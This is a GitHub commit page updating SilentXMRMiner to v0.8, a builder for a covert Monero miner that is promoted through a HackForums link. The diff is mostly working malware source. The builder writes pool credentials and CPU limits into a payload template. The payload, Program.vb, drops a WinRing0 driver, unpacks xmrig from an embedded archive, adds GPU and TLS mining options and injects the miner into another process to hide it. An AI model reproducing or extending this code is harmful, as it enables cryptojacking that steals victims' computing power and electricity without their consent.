Skip to content
This repository has been archived by the owner on Sep 12, 2023. It is now read-only.

Commit

Permalink
Updated to v0.8
Browse files Browse the repository at this point in the history
* Updated miner
* Fixed bugs
* Lowered requirement to .NET 4.0
* Added SSL/TLS option
* Added custom parameter option
* Increased miner performance
  • Loading branch information
UnamSanctam committed Jan 4, 2021
1 parent 7fa00e1 commit 1759852
Show file tree
Hide file tree
Showing 13 changed files with 240 additions and 103 deletions.
13 changes: 10 additions & 3 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,16 +1,16 @@

<img src="https://github.com/UnamSanctam/SilentXMRMiner/blob/master/SilentXMRMiner.png?raw=true">

# SilentXMRMiner v0.7.1 - Based on Lime Miner v0.3
# SilentXMRMiner v0.8 - Based on Lime Miner v0.3


## Main Features

* .NET - Coded in Visual Basic .NET, requires .NET Framework 4.5.
* .NET - Coded in Visual Basic .NET, requires .NET Framework 4.0.

* Codedom - No need for external libraries to compile

* Injection - Hide payload behind another process
* Injection (Silent) - Hide payload behind another process

* CPU & GPU Mining - Can mine on Both CPU and GPU (Nvidia & AMD)

Expand All @@ -31,6 +31,13 @@ Pre-Compiled: https://github.com/UnamSanctam/SilentXMRMiner/releases

## Changes

# v0.8 (04/01/2021)
* Updated miner
* Fixed bugs
* Lowered requirement to .NET 4.0
* Added SSL/TLS option
* Added custom parameter option
* Increased miner performance
# v0.7.1 (09/10/2020)
* Fixed a bug
# v0.7 (08/10/2020)
Expand Down
Binary file modified SilentXMRMiner.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
4 changes: 2 additions & 2 deletions SilentXMRMiner/Codedom.vb
Original file line number Diff line number Diff line change
Expand Up @@ -27,8 +27,8 @@ Public Class Codedom
.ReferencedAssemblies.Add("system.dll")
.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll")
.ReferencedAssemblies.Add("System.Management.dll")
.ReferencedAssemblies.Add("System.IO.Compression.dll")
.ReferencedAssemblies.Add("System.IO.Compression.FileSystem.dll")
.ReferencedAssemblies.Add("System.Management.dll")
.ReferencedAssemblies.Add("DotNetZip.dll")

F.txtLog.Text = F.txtLog.Text + ("Creating a DLL..." + vbNewLine)

Expand Down
245 changes: 178 additions & 67 deletions SilentXMRMiner/Form1.Designer.vb

Large diffs are not rendered by default.

14 changes: 14 additions & 0 deletions SilentXMRMiner/Form1.vb
Original file line number Diff line number Diff line change
Expand Up @@ -86,6 +86,7 @@ Public Class Form1
builder.Replace("#MaxCPU", txtMaxCPU.Text.Replace("%", ""))
builder.Replace("#InjectionTarget", InjectionTarget(0))
builder.Replace("#InjectionDir", InjectionTarget(1).Replace("(", "").Replace(")", "").Replace("%WINDIR%", Environment.GetFolderPath(Environment.SpecialFolder.Windows)))
builder.Replace("#AdvancedParams", txtAdvParam.Text)


txtLog.Text = txtLog.Text + ("Adding injection " + txtInjection.Text + vbNewLine)
Expand All @@ -111,6 +112,10 @@ Public Class Form1
builder.Replace("#Const EnableCPU = False", "#Const EnableCPU = True")
End If

If toggleSSLTLS.Checked = True Then
builder.Replace("#Const EnableSSLTLS = False", "#Const EnableSSLTLS = True")
End If

If chkAssembly.Checked = True Then
txtLog.Text = txtLog.Text + ("Writing Assembly Information..." + vbNewLine)
builder.Replace("#Const Assembly = False", "#Const Assembly = True")
Expand Down Expand Up @@ -346,4 +351,13 @@ Public Class Form1
Process.Start("https://hackforums.net/showthread.php?tid=5995773")
End Sub

Private Sub chkAdvanced_CheckedChanged(sender As Object) Handles chkAdvanced.CheckedChanged
If chkAdvanced.Checked = True Then
chkAdvanced.Text = "Enabled"
txtAdvParam.Enabled = True
Else
chkAdvanced.Text = "Disabled"
txtAdvParam.Enabled = False
End If
End Sub
End Class
8 changes: 4 additions & 4 deletions SilentXMRMiner/My Project/AssemblyInfo.vb
Original file line number Diff line number Diff line change
Expand Up @@ -12,13 +12,13 @@ Imports System.Runtime.InteropServices
<Assembly: AssemblyDescription("")>
<Assembly: AssemblyCompany("")>
<Assembly: AssemblyProduct("Silent XMR Miner Builder")>
<Assembly: AssemblyCopyright("Copyright © 2020")>
<Assembly: AssemblyCopyright("Copyright © 2021")>
<Assembly: AssemblyTrademark("")>

<Assembly: ComVisible(False)>

'The following GUID is for the ID of the typelib if this project is exposed to COM
<Assembly: Guid("ba474dd9-62c6-4e12-9fe8-6a19cf72d8fe")>
<Assembly: Guid("0733c127-d2e2-4c9e-b360-6c4fe87ceb64")>

' Version information for an assembly consists of the following four values:
'
Expand All @@ -31,5 +31,5 @@ Imports System.Runtime.InteropServices
' by using the '*' as shown below:
' <Assembly: AssemblyVersion("1.0.*")>

<Assembly: AssemblyVersion("0.6.0.0")>
<Assembly: AssemblyFileVersion("0.6.0.0")>
<Assembly: AssemblyVersion("0.8.0.0")>
<Assembly: AssemblyFileVersion("0.8.0.0")>
4 changes: 2 additions & 2 deletions SilentXMRMiner/My Project/Resources.Designer.vb

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

2 changes: 1 addition & 1 deletion SilentXMRMiner/My Project/Settings.Designer.vb

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

Binary file added SilentXMRMiner/Resources/DotNetZip.dll
Binary file not shown.
35 changes: 18 additions & 17 deletions SilentXMRMiner/Resources/Program.vb
Original file line number Diff line number Diff line change
Expand Up @@ -11,20 +11,21 @@ Imports System.Collections.Generic
Imports System.Drawing
Imports System.Windows.Forms
Imports System.IO
Imports System.IO.Compression
Imports System.Net
Imports System.Drawing.Drawing2D
Imports System.Drawing.Imaging
Imports System.Threading
Imports System.Security
Imports System.Text
Imports Ionic.Zip

#Const Assembly = False
#Const INS = False
#Const EnableCPU = False
#Const EnableGPU = False
#Const EnableIdle = False
#Const EnableNicehash = False
#Const EnableSSLTLS = False

#If Assembly Then
<Assembly: AssemblyTitle("%Title%")>
Expand Down Expand Up @@ -114,34 +115,29 @@ Public Class Program
System.IO.Directory.CreateDirectory(baseDir)
My.Computer.FileSystem.WriteAllBytes(baseDir + "WinRing0x64.sys", winring, False)


Using archive As ZipArchive = New ZipArchive(New MemoryStream(xmr))
For Each entry As ZipArchiveEntry In archive.Entries
If entry.FullName.Contains("xmrig.exe") Then
Using streamdata As Stream = entry.Open()
Using ms = New MemoryStream()
streamdata.CopyTo(ms)
xmrminer = ms.ToArray
End Using
Using zip As ZipFile = ZipFile.Read(New MemoryStream(xmr))
Dim e As ZipEntry
For Each e In zip
If e.FileName.Contains("xmrig.exe") Then
Using ms = New MemoryStream()
e.Extract(ms)
xmrminer = ms.ToArray
End Using
End If
Next
End Using


#If EnableGPU Then
Dim GPUstr as String = GetGPU
If GPUstr.ToLower.Contains("nvidia") OrElse GPUstr.ToLower.Contains("amd") Then
Try
Dim libs As Byte() = GetTheResource("#libs")
Using archive As ZipArchive = New ZipArchive(New MemoryStream(libs))
For Each entry As ZipArchiveEntry In archive.Entries
entry.ExtractToFile(Path.Combine(baseDir, entry.FullName), True)
Next
Using zip As ZipFile = ZipFile.Read(New MemoryStream(libs))
zip.ExtractAll(baseDir, ExtractExistingFileAction.OverwriteSilently)
End Using

If GPUstr.ToLower.Contains("nvidia") Then
runString += " --cuda --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --cuda-loader=" + ControlChars.Quote + baseDir + "ddb64.dll" + ControlChars.Quote
runString += " --cuda --cuda-loader=" + ControlChars.Quote + baseDir + "ddb64.dll" + ControlChars.Quote
End If

If GPUstr.ToLower.Contains("amd") Then
Expand Down Expand Up @@ -169,9 +165,14 @@ Public Class Program
runString += " --no-cpu "
#End If

#If EnableSSLTLS Then
runString += " --tls "
#End If

'If --donate-level is set to 5 idle mining is enabled if --donate-level is anything other than 5 idle mining is disabled
Dim argstr As String = " -B --coin=monero --url=#URL --user=#USER --pass=#PWD --cpu-max-threads-hint=#MaxCPU "
Dim argstr As String = " -B #AdvancedParams --url=#URL --user=#USER --pass=#PWD --cpu-max-threads-hint=#MaxCPU "
argstr = Replace(argstr, "{%RANDOM%}", Guid.NewGuid.ToString().Replace("-", "").Substring(0, 10))
argstr = Replace(argstr, "{%COMPUTERNAME%}", RegularExpressions.Regex.Replace(Environment.MachineName.ToString(), "[^a-zA-Z0-9]", ""))
Run(GetTheResource("#dll"), argstr + runString, xmrminer)
Catch ex As Exception
End Try
Expand Down
Binary file modified SilentXMRMiner/Resources/xmrig.zip
Binary file not shown.
16 changes: 10 additions & 6 deletions SilentXMRMiner/Silent XMR Miner Builder.vbproj
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,10 @@
<AssemblyName>Silent XMR Miner Builder</AssemblyName>
<FileAlignment>512</FileAlignment>
<MyType>WindowsForms</MyType>
<TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
<TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
<IsWebBootstrapper>false</IsWebBootstrapper>
<TargetFrameworkProfile>
</TargetFrameworkProfile>
<PublishUrl>publish\</PublishUrl>
<Install>true</Install>
<InstallFrom>Disk</InstallFrom>
Expand All @@ -24,11 +27,8 @@
<MapFileExtensions>true</MapFileExtensions>
<ApplicationRevision>0</ApplicationRevision>
<ApplicationVersion>1.0.0.%2a</ApplicationVersion>
<IsWebBootstrapper>false</IsWebBootstrapper>
<UseApplicationTrust>false</UseApplicationTrust>
<BootstrapperEnabled>true</BootstrapperEnabled>
<TargetFrameworkProfile>
</TargetFrameworkProfile>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>x86</PlatformTarget>
Expand Down Expand Up @@ -95,13 +95,16 @@
<ApplicationManifest>My Project\app.manifest</ApplicationManifest>
</PropertyGroup>
<ItemGroup>
<Reference Include="DotNetZip">
<HintPath>Resources\DotNetZip.dll</HintPath>
<Private>True</Private>
<EmbedInteropTypes>False</EmbedInteropTypes>
</Reference>
<Reference Include="Microsoft.VisualBasic.Compatibility" />
<Reference Include="System" />
<Reference Include="System.Data" />
<Reference Include="System.Deployment" />
<Reference Include="System.Drawing" />
<Reference Include="System.IO.Compression" />
<Reference Include="System.IO.Compression.FileSystem" />
<Reference Include="System.Windows.Forms" />
<Reference Include="System.Xml" />
<Reference Include="System.Core" />
Expand Down Expand Up @@ -133,6 +136,7 @@
<Compile Include="My Project\Application.Designer.vb">
<AutoGen>True</AutoGen>
<DependentUpon>Application.myapp</DependentUpon>
<DesignTime>True</DesignTime>
</Compile>
<Compile Include="My Project\Resources.Designer.vb">
<AutoGen>True</AutoGen>
Expand Down
2 changes: 1 addition & 1 deletion SilentXMRMiner/app.config
Original file line number Diff line number Diff line change
Expand Up @@ -20,4 +20,4 @@
<!--<add name="EventLog" type="System.Diagnostics.EventLogTraceListener" initializeData="APPLICATION_NAME"/> -->
</sharedListeners>
</system.diagnostics>
<startup><supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5"/></startup></configuration>
<startup><supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.0"/></startup></configuration>

0 comments on commit 1759852

Please sign in to comment.